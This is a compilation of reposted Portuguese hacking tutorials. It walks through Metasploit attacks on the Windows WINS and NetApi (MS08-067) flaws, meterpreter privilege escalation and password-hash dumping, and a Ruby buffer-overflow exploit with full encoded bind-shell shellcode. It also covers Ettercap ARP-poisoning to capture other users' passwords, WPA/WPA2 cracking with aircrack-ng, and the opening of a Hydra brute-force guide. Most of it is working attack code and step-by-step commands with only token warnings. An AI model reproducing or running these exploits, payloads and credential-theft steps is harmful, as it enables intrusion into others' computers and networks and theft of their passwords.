msf wins_ms04_045 >

Só temos uma opcao aqui, somente o windows 2000 em ingles é vulneravel, mas tudo bem...

msf wins_ms04_045 > set TARGET 0
TARGET -> 0
msf wins_ms04_045 >
tamos mesmo, mesmo, mesmo a um tirinho de caçadeira... valeu a pena chegar aqui... pois agora apenas falta uma coisa para completar nossa tarefa... Executar o nosso exploit, que é mais um pacote exploit (conjunto de várias coisas que antigamente se faziam em separado e com muito trabalho) do que somente um exploit.

Digite somente: exploit (lindo não? Isto é “disparar” o exploit em direcção ao alvo. ATENÇÃO. Só usar alvos virutais ou máquinas voças

Código :
msf wins_ms04_045 > exploit
E pronto...Acabamos a nossa primeira etapa, agora vamos passar para o msfcli.

O msfcli é utilizado para poder fazer tudo de uma só vez. Nao precisando do passo a passo descrito acima. Se nós ja conhecemos o exploit isto agiliza
muito o nosso trabalho na linha de comando digitamos assim:

Código :
[root]#./msfcli wins_ms04_045 RHOST =200.156.23.25 RPORT=42 PAYLOAD=win32_adduser teste TARGET=0 E
e vejam que faz a mesma coisa que no modo console.
Caso o exploit se direcione a um serviço sem previlégios especiais pode-se usar um exploit local para escalar previlégios ou os seguintes comandos do meterpreter. Atenção que neste caso terão de estar a usar o meterpreter (para isso terão na altura de selecção do payload escolher um especial com o meterpreter, como por exemplo win32_reverse_meterpreter)
E na sessão do meterpreter usem os scripts já existentes para isso, como apresento em baixo.

Código :
meterpreter> use priv
meterpreter> getsystem
Mais coisas interessantes que se podem fazer com o meterpreter em conjunto com outras ferrametas geniáis, como o LophtCrack ou o Cain e Abel para crackar hashes de passwords.
Has passwords estão codificadas mas podem ser “sacadas” e posteriormente crackadas... garanto que conseguirão algumas que não sejam muito fortes, o que é muito normal.

Por exemplo. Como fazer o dump das hashes das passowrds com o meterpreter e fazer o download para depois as crackarem com algum dos programas anteriormente mencionados.

Código :
.MSFConsole
> use windows/smb/ms08_067_netapi
> set PAYLOAD windows/meterpreter/reverse_tcp
> set LHOST (meu Ip)
> set RHOST (Ip Remoto)
> exploit
> getuid
> hashdump
> use -f cmd -c
Para fazer downloads ou uploads dentro do meterpreter, entre o vosso PC e o alvo comprometido.

Código :
meterpreter> download arquivo1 arquivo2 pastaDestino
meterpreter> upload arquivo1 arquivo2 pastaDestino
Para crackar as hashes eu uso o LOphtCrack. É só guardar o resultado do "hashdump" num .txt (meuHash.txt) e usa-lo no LOphtCrack. Garanto que terão algumas passwords interessantes.

(investiguem também a familia Pwdump... muito interessante para certas situações.)



Quote
pwdump is the name of various Windows programs that output the LM and NTLM password hashes of local user accounts from the Security Account Manager (SAM). In order to work, it must be run under an Administrator account, or be able to access an Administrator account on the computer where the hashes are to be dumped; so Pwdump does not compromise security. Most of these programs are open-source.
http://en.wikipedia.org/wiki/Pwdump (aqui são explicadas as várias “cores” e “sabores” e seus links)

Vamos passar para uma forma ainda mais fácil. Garanto que o ppl mais windows vão adorar esta forma, que é um GUI (Grafical User Interface... mas no mundo dos exploits? Sim... vejam)

Trata-se da ferramenta msfweb que quando executado permite fazermos tudo por uma pagina web, todas as funcionalidades aplicaveis estão lá.
Para acederem ao GUI do metasploit façam:

Código :
[root]#./msfweb
+----=[ Metasploit Framework Web Interface (ip:55555)
Deixar correr... Abrir em seguida o browser e digitar o url: teu ip, localhost, 127.0.0.1... Mais a porta 55555

Seria assim: http://localhost:55555

E assim verão a magia desta ferramenta. Um rico GUI onde facilmente qualquer um pode configurar uma sessão completa, sem digitar comandos em consolas. Claro que no alvo vão (ou não) usar a consola, pois é mais...

Poderemos com isto fazer tudo graficamente sem digitar comandos etc etc, somente seleccionando.

Para complementar e devido a essas novas IPS e IDS que detectam padrões de tráfego e podem ser actualizadas com as assinaturas dos novos exploits, aqui fica um extra dedicado às novas appliances PANDA
Com um tunnel SSH o tráfego vai encriptado e não é possível identificar o mesmo, o que vai dentro dessa sessão.
É uma das mais usadas técnicas de evasão.

Criando uma sessão meterpreter persistente sobre um túnel SSH (integrando com o metasploit)

Creditos
teckV

http://www.portugal-a-programar.pt/topic/34746-tutorial-detalhado-em-guia-pratico-do-metasploit-indespensavel/

Criando Exploits com ajuda do Metasploit Framework

0x00: intro
Neste guia vou demonstrar como é possível criar exploits de maneira fácil,rápida e com a ajuda da Metasploit Framework 3.É verdade que uma grande quantidade de «script kiddies» usa o metasploit para correr payloads atrás de payloads sobre serviços que encontram a correrem servidores remotos, mas a verdade é que esta é também uma ótima framework para o desenvolvimento de exploits, seja ele para uso doméstico ou mesmo profissional, pois economiza tempo, esforço e oferece-nos um fantástico leque de ferramentas que serão introduzidas ao longo do guia.

0x01: software
Em termos de software irei usar:

• Metasploit Framework (www.metasploit.com)
• Immunity Debbuger (http://www.immunityinc.com/products-immdbg.shtml)
• um interprete de Ruby (http://www.ruby-lang.org/pt/ )
• uma servidor a correr Windows 2000, se bem que pode ser virtual (www.virtualbox.org)
• netcat (man netcat) 

Neste servidor estará a correr um servidor criado para este guia que poderei fornecer por mail.

0x02: requerimentos
Pretende-se neste guia explorar os buffer overflows remotos a uma máquina Windows utilizando o Metasploit 3 para ajudar a desenvolver o exploit. Será fácilentão para a compreensão do mesmo um conhecimento prévio de:

• conhecimento básico de assembly
• uma linguagem de programação à escolha para a escrita do exploit
• conhecimento básico sobre buffer overflows (estrutura da stack, damemória, registos, o ataque, etc..)
• saber usar um debugger

0x03: encontrar o EIP
Uma das técnicas normais para tentar criar um exploit de buffer overflow seria encontrar qual o tamanho da string para que fosse suficiente grande de modo aescrever por cima do RET address do programa.

Executamos o servidor a partir do Immunity, na máquina remota Windows, ecorremos o seguinte código na nossa máquina local:

sploit1.rbputs "A" * 100 + "\r\n"

 Obtendo:

#./sploit1.rb | nc 192.168.56.102 1974

Welcome to SNOW

Username:
 

O programa pára aqui a execução. Voltando ao debugger vê-se que eletrancou ao tentar executar, em EIP, o endereço 0x41414141, que são "AAAA":

E verificamos também no debugger que controlamos dois registos EBP e EIP.

Agora poderíamos ir modificando o número de A's introduzidos até que o fim da nossa string coincidisse exatamente com os 4 bytes do EIP. Isso seria bastante trabalhoso, mas com a ajuda do metasploit podemos descobrir qual olocal exacto do EIP sem recorrer a tentativa e erro.

Para isto usamos a ferramenta

patternoffset , que se encontra na pasta /tools/ da framework metasploit:

# ./tools/pattern_create.rb 100Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

 

Criamos assim uma string com 100 caracteres para nos ajudar a encontrar o sítio exato do EIP. Escrevemos agora o seguinte código para a usar:

sploit2.rbstringmeta ="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A"
puts stringmeta + "\r\n"

 

Reiniciamos o programa do servidor no debugger, corremos o nosso scriptsploit2.rb e obtemos no servidor, na janela do debugger:

Podemos agora retirar do valor do EIP o endereço: 0x41336341 . Este endereço pode ser introduzido noutra ferramente disponibilizada pelo metasploit, o

patternoffset. Esta ferramenta permite obter, a partir do resultado de uma string gerada pela patterncreate, o offset exato da cadeia de caracteres que procuramos, que faz parte dessa string:

# ./tools/pattern_offset.rb 0x41336341 10069

 

Descobrimos assim que o offset de bytes é 69, ou seja, o EIP está na posição69 da string que usamos, que foi gerada pelo metasploit, para criar o overflow.Geramos agora um script Ruby para substituír exatamente aqueles 4 bytes na posição 69 por um endereço que queiramos, para posteriormente o substituirmos pelo endereço do nosso payload do exploit.

sploit3.rbputs "A" * 69 + [0xf0daf0da].pack('V') + "\r\n"

 

Ou seja, 69 A's e depois um endereço arbitrário (o pack('V') é apenas uma função do Ruby para converter aquele endereço). Reiniciando novamente o programa no debugger no servidor e correndo o exploit na nossa máquina local obtemos o seguinte resultado:

Conseguimos assim escrever com sucesso no local exacto onde se encontra o EIP.

0x04: onde colocar a payload

Agora que conseguimos controlar a posição do EIP será necessário encontrar um local na memória onde possamos colocar a nossa payload.Os exploits remotos têm esta dificuldade acrescentada: não sabemos onde na memória estará o código, qual o espaço que temos para o guardar, já que poderão estar vários processos diferentes dos quais não temos conhecimento nem quando começam a executar.Para isso inventou-se uma técnica que é a de colocar no EIP o endereço de uma instrução simples que salte para um local de memória onde realmente possamos escrever.O pessoal da Microsoft pensou em nós e facilitou-nos a vida dado que, embora não possamos colocar lá o salto, podemos ir busca-lo a uma das bibliotecas(.DLL) que estejam a ser executados no topo da memória (que estão sempre nas mesmas posições o que nos facilitam bastante a vida, principalmente nos servidores Windows 2000 em que não mudam mesmo!).A técnica será então colocar em ESP (que podemos conhecer a posição exata visto que o enchemos com a nossa string criada pelo metasploit) o nosso código da payload e no EIP uma instrução "JMP ESP" que encontramos a ser executada por uma qualquer library do windows.Reiniciamos o programa e no debugger procuramos pelo opcode que forma"JMP ESP": FF E4. Abrimos o mapa da memória (Alt+M) e procuramos (Ctrl+L)pelo "FF E4" mas apenas nos endereços mais altos, onde se encontram as bibliotecas, pois essas não mudam de sítio nunca (obrigado Microsoft):

Podemos ver aqui no endereço : 0x7c2e7993 que temos então os nossos bytes para o JMP, oferecidos pela ADVAPI32.DLL :)Este será então o endereço que colocaremos no EIP para que ele execute o"JMP ESP". Falta-nos então saber qual será o endereço exato do ESP para colocarmos aí o nosso payload. Após a execução do sploit2.rb obtivemos os seguintes valores para os registos:

Como podemos verificar no ESP temos uma representação ASCII do conteúdo do ESP, obrigado Immunity Debugger, que é "c4Ac...", que era uma porção da string gerada pelo pattern_create.rb do metasploit. Utilizaremos novamente o pattern_offset para saber qual o offset em que se encontram, por exemplo, os quatro bytes "c4Ac":

# ./tools/pattern_offset.rb "c4Ac" 10073
73  

Ou seja, sabemos que o ESP está na posição 73 da nossa string. Imaginando que o nosso payload era um simples "INT 3", que a única coisa que faz é dizer ao debugger para parar ali, ou seja um debugging breakpoint, dado pelo código 0xCC podemos gerar o seguinte código:

sploit4.rbJMP_ESP=[0x7c2e7993 ].pack('V')

INT3 = "\xCC"puts "A" * 69 + JMP_ESP + "B"*4 + INT3 +"\r\n"

Reiniciamos o programa no debugger, corremos o nosso exploit na nossa máquina e:

Isto porque adicionamos 69 A's, chegando à posição 69 (EIP), colocamos o endereço da instrução "JMP ESP", adicionamos 4 B's, chegando à posição 73(ESP) colocamos o INT 3 e o debugger parou. Sabemos então que podemos colocar nesta posição o nosso payload.


0x05: gerando e codificando o payload

 O metasploit tem uma enorme e doentia base de dados de payloads para os vários sistemas operativos. O comando chama-se msfpayload:

# ./msfpayload -hUsage: ./msfpayload <payload> [var=val]<[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]avascript|e[X]ecutable|[D]ll|[V]BA|[W]ar>

 Existem praticamente 300 payloads diferentes, desde executar comandos,adicionar utilizadores, fazer spawn de uma shell, colocar uma backdoor àescuta, criar um executável e fazer o upload, etc.. etc.. é uma questão de explorarem. Nós iremos usar o mais simples chamado:windows/shell_bind_TCP que no fundo coloca uma shell na máquina remota à escuta na porta 4444 (por defeito, o que pode ser mudado).Estamos a programar em Ruby neste guia, mas esta utilidade gera o código,como podemos ver na ajudam para C, Perl, Java, um executável, um DLL, etc..utilizaremos então a opção "y" para gerar o código Ruby:

# ./msfpayload windows/shell_bind_tcp y

# windows/shell_bind_tcp - 341 bytes

# http://www.metasploit.com# LPORT=4444, RHOST=, EXITFUNC=process, InitialAutoRunScript=,# AutoRunScript=buf ="\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +"\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f" +"\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29" +"\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50" +"\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7\x31" +"\xdb\x53\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68" +"\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff" +"\xd5\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7" +"\x68\x75\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3" +"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44" +"\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56" +"\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86" +"\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60" +"\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5" +"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f" +"\x6a\x00\x53\xff\xd5"

Mas como podemos ver, este shellcode contem opcodes proibitivos para quem está a tentar criar um exploit através de uma string: \x00 (nullbyte) que é usado para terminar qualquer string, \x0d (carriage return), \0x0a (new line), etc.. ouseja uma série de caracteres que deveríamos evitar, dado que estamos aexecutar em memória não nos podemos dar ao luxo que o programa, depois decorrer o exploit, encontre na memória um 0x00 e parar de executar o shellcode.Para isto existe a ferramenta msfenconde, também da framework metasploit,que codifica o código de forma a esconder estes tipos de caracteres com um código diferente. Por exemplo para esconder um incremento de 5 de uma variável, ele faz com que se incremente 5 vezes uma unidade a essa variável.Para isso teremos então de especificar quais os bytes que achamos que devem ser substituídos e também devemos, para isto, pedir ao msfpayload a shellcode em R(aw):

# ./msfpayload windows/shell_bind_tcp R | ./msfencode -b "\x00\x0a\x0d\xff"

[*] x86/shikata_ga_nai succeeded with size 369 (iteration=1)buf ="\x2b\xc9\xbe\x90\x99\xb6\x51\xb1\x56\xda\xde\xd9\x74\x24" +"\xf4\x58\x83\xc0\x04\x31\x70\x0c\x03\x70\x0c\x72\x6c\x4a" +
"\xb9\xfb\x8f\xb3\x3a\x9b\x06\x56\x0b\x89\x7d\x12\x3e\x1d" +"\xf5\x76\xb3\xd6\x5b\x63\x40\x9a\x73\x84\xe1\x10\xa2\xab" +"\xf2\x95\x6a\x67\x30\xb4\x16\x7a\x65\x16\x26\xb5\x78\x57" +"\x6f\xa8\x73\x05\x38\xa6\x26\xb9\x4d\xfa\xfa\xb8\x81\x70" +"\x42\xc2\xa4\x47\x37\x78\xa6\x97\xe8\xf7\xe0\x0f\x82\x5f" +"\xd1\x2e\x47\xbc\x2d\x78\xec\x76\xc5\x7b\x24\x47\x26\x4a" +"\x08\x0b\x19\x62\x85\x52\x5d\x45\x76\x21\x95\xb5\x0b\x31" +"\x6e\xc7\xd7\xb4\x73\x6f\x93\x6e\x50\x91\x70\xe8\x13\x9d" +"\x3d\x7f\x7b\x82\xc0\xac\xf7\xbe\x49\x53\xd8\x36\x09\x77" +"\xfc\x13\xc9\x16\xa5\xf9\xbc\x27\xb5\xa6\x61\x8d\xbd\x45" +"\x75\xb7\x9f\x01\xba\x85\x1f\xd2\xd4\x9e\x6c\xe0\x7b\x34" +"\xfb\x48\xf3\x92\xfc\xaf\x2e\x62\x92\x51\xd1\x92\xba\x95" +"\x85\xc2\xd4\x3c\xa6\x89\x24\xc0\x73\x1d\x75\x6e\x2c\xdd" +"\x25\xce\x9c\xb5\x2f\xc1\xc3\xa5\x4f\x0b\x72\xe2\x81\x6f" +"\xd6\x84\xe3\x8f\xc8\x08\x6d\x69\x80\xa0\x3b\x21\x3d\x02" +"\x18\xfa\xda\x7d\x4a\x56\x72\xe9\xc2\xb0\x44\x16\xd3\x96" +"\xe6\xbb\x7b\x71\x7d\xd7\xbf\x60\x82\xf2\x97\xeb\xba\x94" +"\x62\x82\x09\x05\x72\x8f\xfa\xa6\xe1\x54\xfb\xa1\x19\xc3" +"\xac\xe6\xec\x1a\x38\x1a\x56\xb5\x5f\xe7\x0e\xfe\xe4\x33" +"\xf3\x01\xe4\xb6\x4f\x26\xf6\x0e\x4f\x62\xa2\xde\x06\x3c" +"\x1c\x98\xf0\x8e\xf6\x72\xae\x58\x9f\x03\x9c\x5a\xd9\x0c" +"\xc9\x2c\x05\xbc\xa4\x68\x39\x70\x21\x7d\x42\x6d\xd1\x82" +"\x99\x36\xe1\xc8\x80\x1e\x6a\x95\x50\x23\xf7\x26\x8f\x67" +"\x0e\xa5\x3a\x17\xf5\xb5\x4e\x12\xb1\x71\xa2\x6e\xaa\x17" +"\xc4\xdd\xcb\x3d\xce"

Como se pode ver, às custas de um incremento no tamanho do shellcode,conseguimos o mesmo código mas sem os bytes que decidimos excluir para não inviabilizar o nosso ataque. Sinceramente acho isto puramente genial.Modificando assim o nosso exploit para uma versão final:

sploit5.rb
JMP_ESP=[0x7c2e7993 ].pack('V')PAYLOAD ="\x2b\xc9\xbe\x90\x99\xb6\x51\xb1\x56\xda\xde\xd9\x74\x24" +"\xf4\x58\x83\xc0\x04\x31\x70\x0c\x03\x70\x0c\x72\x6c\x4a" +"\xb9\xfb\x8f\xb3\x3a\x9b\x06\x56\x0b\x89\x7d\x12\x3e\x1d" +"\xf5\x76\xb3\xd6\x5b\x63\x40\x9a\x73\x84\xe1\x10\xa2\xab" +"\xf2\x95\x6a\x67\x30\xb4\x16\x7a\x65\x16\x26\xb5\x78\x57" +"\x6f\xa8\x73\x05\x38\xa6\x26\xb9\x4d\xfa\xfa\xb8\x81\x70" +"\x42\xc2\xa4\x47\x37\x78\xa6\x97\xe8\xf7\xe0\x0f\x82\x5f" +"\xd1\x2e\x47\xbc\x2d\x78\xec\x76\xc5\x7b\x24\x47\x26\x4a" +"\x08\x0b\x19\x62\x85\x52\x5d\x45\x76\x21\x95\xb5\x0b\x31" +"\x6e\xc7\xd7\xb4\x73\x6f\x93\x6e\x50\x91\x70\xe8\x13\x9d" +"\x3d\x7f\x7b\x82\xc0\xac\xf7\xbe\x49\x53\xd8\x36\x09\x77" +"\xfc\x13\xc9\x16\xa5\xf9\xbc\x27\xb5\xa6\x61\x8d\xbd\x45" +"\x75\xb7\x9f\x01\xba\x85\x1f\xd2\xd4\x9e\x6c\xe0\x7b\x34" +"\xfb\x48\xf3\x92\xfc\xaf\x2e\x62\x92\x51\xd1\x92\xba\x95" +"\x85\xc2\xd4\x3c\xa6\x89\x24\xc0\x73\x1d\x75\x6e\x2c\xdd" +"\x25\xce\x9c\xb5\x2f\xc1\xc3\xa5\x4f\x0b\x72\xe2\x81\x6f" +"\xd6\x84\xe3\x8f\xc8\x08\x6d\x69\x80\xa0\x3b\x21\x3d\x02" +"\x18\xfa\xda\x7d\x4a\x56\x72\xe9\xc2\xb0\x44\x16\xd3\x96" +"\xe6\xbb\x7b\x71\x7d\xd7\xbf\x60\x82\xf2\x97\xeb\xba\x94" +"\x62\x82\x09\x05\x72\x8f\xfa\xa6\xe1\x54\xfb\xa1\x19\xc3" +"\xac\xe6\xec\x1a\x38\x1a\x56\xb5\x5f\xe7\x0e\xfe\xe4\x33" +"\xf3\x01\xe4\xb6\x4f\x26\xf6\x0e\x4f\x62\xa2\xde\x06\x3c" +
"\x1c\x98\xf0\x8e\xf6\x72\xae\x58\x9f\x03\x9c\x5a\xd9\x0c" +"\xc9\x2c\x05\xbc\xa4\x68\x39\x70\x21\x7d\x42\x6d\xd1\x82" +"\x99\x36\xe1\xc8\x80\x1e\x6a\x95\x50\x23\xf7\x26\x8f\x67" +"\x0e\xa5\x3a\x17\xf5\xb5\x4e\x12\xb1\x71\xa2\x6e\xaa\x17" +"\xc4\xdd\xcb\x3d\xce"puts "A" * 69 + JMP_ESP + "B"*4 + PAYLOAD + "\r\n"

E podemos ver que não acontece nada. Abrindo outro terminal e tentando conectar à porta 4444:

# telnet 192.168.56.102 4444
Trying 192.168.56.102...Connected to192.168.56.102.
Escape character is '^]'.
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\Documents and Settings\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 3016-C74B
Directory of C:\Documents and Settings\Administrator\Desktop
10/01/2010 01:32p <DIR> .
10/01/2010 01:32p <DIR> ..
10/01/2010 01:27p 250,839 demo.exe
10/01/2010 01:32p 13,684,370 ImmunityDebugger_1_73_setup.exe
2 File(s) 13,935,209 bytes2 Dir(s) 3,112,681,472 bytes free
C:\Documents and Settings\Administrator\Desktop> 

Obtemos assim acesso à máquina através desta backdoor instalada com o shellcode obtido pelo metasploit.


0x06: conclusões
 Podemos assim ver que com o auxílio do metasploit framework, um pouco de reverse engeneering, uma linguagem de programação simples podemos criar exploits simples e eficazes.As ferramentas disponíbilizadas pela Metasploit Framework são na verdade um enorme auxílio para quem quer escrever exploits.Alguma dúvida são bem vindos em enviar-me um e-mail.
.... pr0misc

Invadindo Windows XP com falha no NetApi

E agora, continuando minha jornada contra a Micro$oft, vamos explorar uma falha no Server Service (NetApi) que afeta desde o Windows 2000, passando pelo XP, Vista (...) e chegando no Server 2008.
Para ver detalhes sobre a falha no enorme boletim de segurança da Microshit, clique aqui.
Segundo o próprio boletim, "nos sistemas Microsoft Windows 2000, Windows XP e Windows Server 2003, um invasor pode explorar esta vulnerabilidade sem autenticação para executar código arbitrário." Em outras palavras, trata-se de um RComE (Remote Command Execution).
"Esta atualização de segurança é classificada como Crítica para todas as edições com suporte do Microsoft Windows 2000, Windows XP, Windows Server 2003 e como Importante para todas as edições com suporte do Windows Vista, Windows Server 2008." Só lamento...
Lembrando que atualizar o sistema pode corrigir a vulnerabilidade. O problema é que 'usuários comuns' geralmente não atualizam. <s>Eu mesmo estou com kernel 2.6.32 até hoje.</s>

A falha em si
CVE-2008-4250. O serviço Servidor não manipula corretamente as solicitações de RPC, fazendo com que um invasor possa assumir total controle do sistema.
RPC (Remote Procedure Call/Chamada de Procedimento Remoto) é um serviço de computação distribuída que permite que um programa chame um procedimento em outro computador da rede. O aplicativo envia o sinal ao servidor, que devolve o retorno.

O NetApi (serviço Servidor) suporta impressão e compartilhamento de arquivos, discos e impressoras.
A manipulação pobre desses pacotes pode levar à uma execução de códigos DOS com privilégios totais.

Explorando
Uma versão atualizada do Metasploit já possui o exploit. Com o número CVE, dado acima, é possível encontrá-lo de forma separada no próprio site do Metasploit.
É uma exploração simples e rápida, que ocorre sem o consentimento da vítima. Neste exemplo, vamos usar o payload bind_tcp (meterpreter).

Abra o terminal e vamos verificar se conseguimos acessar a porta 445 do alvo.
Se você estiver com pressa, vale rodar TCPing nas portas 445 e 139, usadas pelo NetApi.

Código:

$ tcping ip.do.al.vo 445

Se você ver a seguinte mensagem:

Código:

ip.do.alvo port 445 open.

Você vai poder continuar o tutorial.
Com mais calma, execute um Nmap:

Código:

# nmap -sS -p139,445 -O ip.do.al.vo

Com isso veremos se as nossas queridas portas estão abertas, e também teremos o sistema operacional do alvo. Verifique se ele está na lista divulgada no Boletim de Segurança da Microsoft (link acima).

Abra a linha de comando do Metasploit:

Código:

# msfconsole

Agora, vamos 'usar' o exploit:

Código:

> use windows/smb/ms08_067_netapi

As opções também são poucas. Com um 'show options' você pode vê-las. Vamos setá-las:

Código:

> set rhost ip.do.al.vo

Setamos o endereço IP do alvo, seguido do payload (usamos o bind_tcp apenas como exemplo):

Código:

> set payload windows/meterpreter/bind_tcp

Se for usar remote_tcp, será necessário setar também LHOST (seu IP) e LPORT (uma porta para ser aberta).

Agora, o golpe final:

Código:

> exploit

Você verá o 'Started bind handler' seguida de várias mensagens de log.
Caso tudo ocorra bem, o que é provável, você pode digitar 'help' para ver o que é possível fazer. Por exemplo:

Código:

> shell

Você verá o MS-DOS do usuário na sua frente. A partir daqui, você assume sua responsabilidade.

Até a próxima!

Nova lei: Invadir computadores protegidos é crime.
Lógica: Se eu invadi, não é protegido. Logo, não é crime :-)

Creditos : White Collar

Guia basico do Ettercap

O ettercap um programa classificado com sniffer, pois o mesmo captura dados em uma rede local. Farejadores como são conhecidos os sniffer eles capturam todo trafego da rede, com isso podemos capturar senhas digitadas por outros usuários de nossa rede. Analisando os dados podemos captura conversas de clientes de mensagem do tipo MSN ou outros clientes de mensagem instantânea, podemos ser usando com man-in-the-midler "MITM"(Homem no meio) e etc.

Primeiro passo e instalar o farejador(ettercap).
Ultima versão e 0.7.3 e temos disponível para SO Linux e Windows.

Windows:

http://sourceforge.net/projects/ette...aries/windows/

Linux:

http://ettercap.sourceforge.net/download.php

Para distros baseadas no debian/ubuntu:

Citação:
# apt-get install ettercap-gtk
Para outras distribuições, temos que compilar os pacotes.

Citação:
# ./configure
# make
# make install
Vamos iniciar.

Próximo passo e iniciar o ettercap, para linux temos que inicia-lo em modo root, caso contrario não temos como selecionar a interface.



Sniffer > Unified Sniffing

Selecione a interface que está conectada à rede que você quer farejar, clique em"OK".

Host > Scan for hosts.
Na parte inferior da tela, como "Host list , são hosts adicionados" ( Os que estão listados abaixo são os micros que estão on-line na sua rede no momento).



Hosts > Host list
Agora aparecem os IPs das máquinas conectadas, é preciso ter em mente que o roteador também aparece (Lembrando que nosso micro não e mostrado).

Selecione o IP do seu computador para atacar e clique em "Add to Target 1", em seguida, o roteador "Add to Target 2".



Antes de começar o farejamento, e bom lembrar que a técnica usando e chamada de man-in-the-midler(Homem no meio), ai você me pergunta, mas como e isso? todos pacotes que saem do micro alvo, passam por minha maquina antes de chegar ao destino. É possível que a parti de algum tempo usando o MITM o host da vitima fique off por alguns segundos ate que as tabelas ARP sejam resetadas.

Mitm > ARP Poisoning - Agora clique na guia "Sniff remote connections" e clique em "OK"



Start > Start sniffing.



Estamos capturando o trafego de rede.

View > Connections - Aqui podemos ver todas as conexões e clique duas vezes em um pode ver os dados que ele contém, inclusive conversas, os usuários e senhas, etc.

Agora e deixar farejando. Xeque Mate!

Creditos : Bhior.

Como descobrir senha de roteador usando WPA/WPA2

Salve Galera...Estou como novo postador aqui do blog do meu amigo Waldemar ( Bin laden como eu chamo)então vou está postando um tutorial que eu fiz para uma matéria na facu de segurança e resolvi mostrar a invasão em um roteador usando WPA/WPA2 usando o backtrack5 e resolvi compartilhar com vocês tambem
OBS: verifique se sua placa de rede é compativel para fazer todo o procedimento
(lembrando que não vou ensinar o que cada parâmetro o que faz)

Para fazer o processo vamos precisar

- backtrack 5
-wordlist com suporte ao aircrack-ng

primeiramente vamos aos comandos:

Código:

airmon-ng

airmon-ng start wlan0

airodump-ng mon0

airodump-ng -c (canal) -w (file name) --bssid (MAC AP) mon0

airplay-ng -1 0 -a (BSSID) mon0 
aircrack-ng (File directory)

aircrack-ng -w (wordlist directory) (File directory)

Vamos agora passo-a-passo seguindo os códigos acima:


começaremos com os dois primeiros comando:

Código:

airmon-ng

aqui ele vai mostrar o nome da minha placa de rede e dar o nome de wlan0

Código:

airmon-ng start wlan0

após esse comando ele coloca a placa em modo monitor e habilita o nome de mon0



agora vamos ver as redes por perto com o comando:

Código:

airodump-ng mon0

(Podemos ver o BSSID o canal e o MAC ( que vamos chamar de BSSID nos comandos de agora em diante) do roteador...por hora vamos gravar o endereço MAC e o canal)
(Temos que observar que abaixo de STATION existe um endereço MAC que é o de alguem usando a rede...temos que lembrar que precisamos de pelo menos 1 endereço usando a rede, caso contrario não é possivel continuar)

vamos começar a monitorar uma rede especifica e pegar pacotes

Código:

airodump-ng -c (canal) -w (file name) --bssid (MAC AP) mon0

file name é o nome que você vai dar para o arquivo de captura criado com o parâmetro -w..
(nomalmente esse arquivo é criado na pasta root com a extensão .cap)




Agora vamos pedir uma autentificação com o comando

airplay-ng -1 0 -a (BSSID) mon0

como observado acima a autentificação foi aceita..

agora podemos tentar crackear..então usaremos o comando

aircrack-ng (file directory)

se o resultado obtido for "WPA( 1 handshake) você pode continuar...caso ao contrario tente novamente com mais pacotes capturados

para finalizar vamos tentar descrobrir a senha por brute force usando uma wordlist

Código:

aircrack-ng -w (wordlist directory) (File directory)

descoberta a senha que no nosso caso é "password".... é só correr para o abraço



Wordlist usada: Download Wordlist

Ataque Brute Force com Hydra

Sobre os Ataques brute force : o atacante tenta adivinhar a senha por tentativa e erro testando várias combinações de usuários e senhas (disponíveis em listas que podem ser encontradas na Internet ou baseando suas tentativas em dados que conseguiu utilizando engenharia social ou por conhecer a vítima do ataque) para tentar logar em um determinado serviço no qual ele não tem autorização, obtendo um shell em um servidor por exemplo.


Efetuar este tipo de ataque é bem demorado e pode ser facilmente impedido por administradores que utilizem técnicas como limitar o número de tentativas erradas utilizando um determinado nome de usuário. Porém, existem várias ferramentas que fazem com que estes ataques sejam efetuados de modo mais eficiente, uma delas é o THC Hydra.

1. THC Hydra

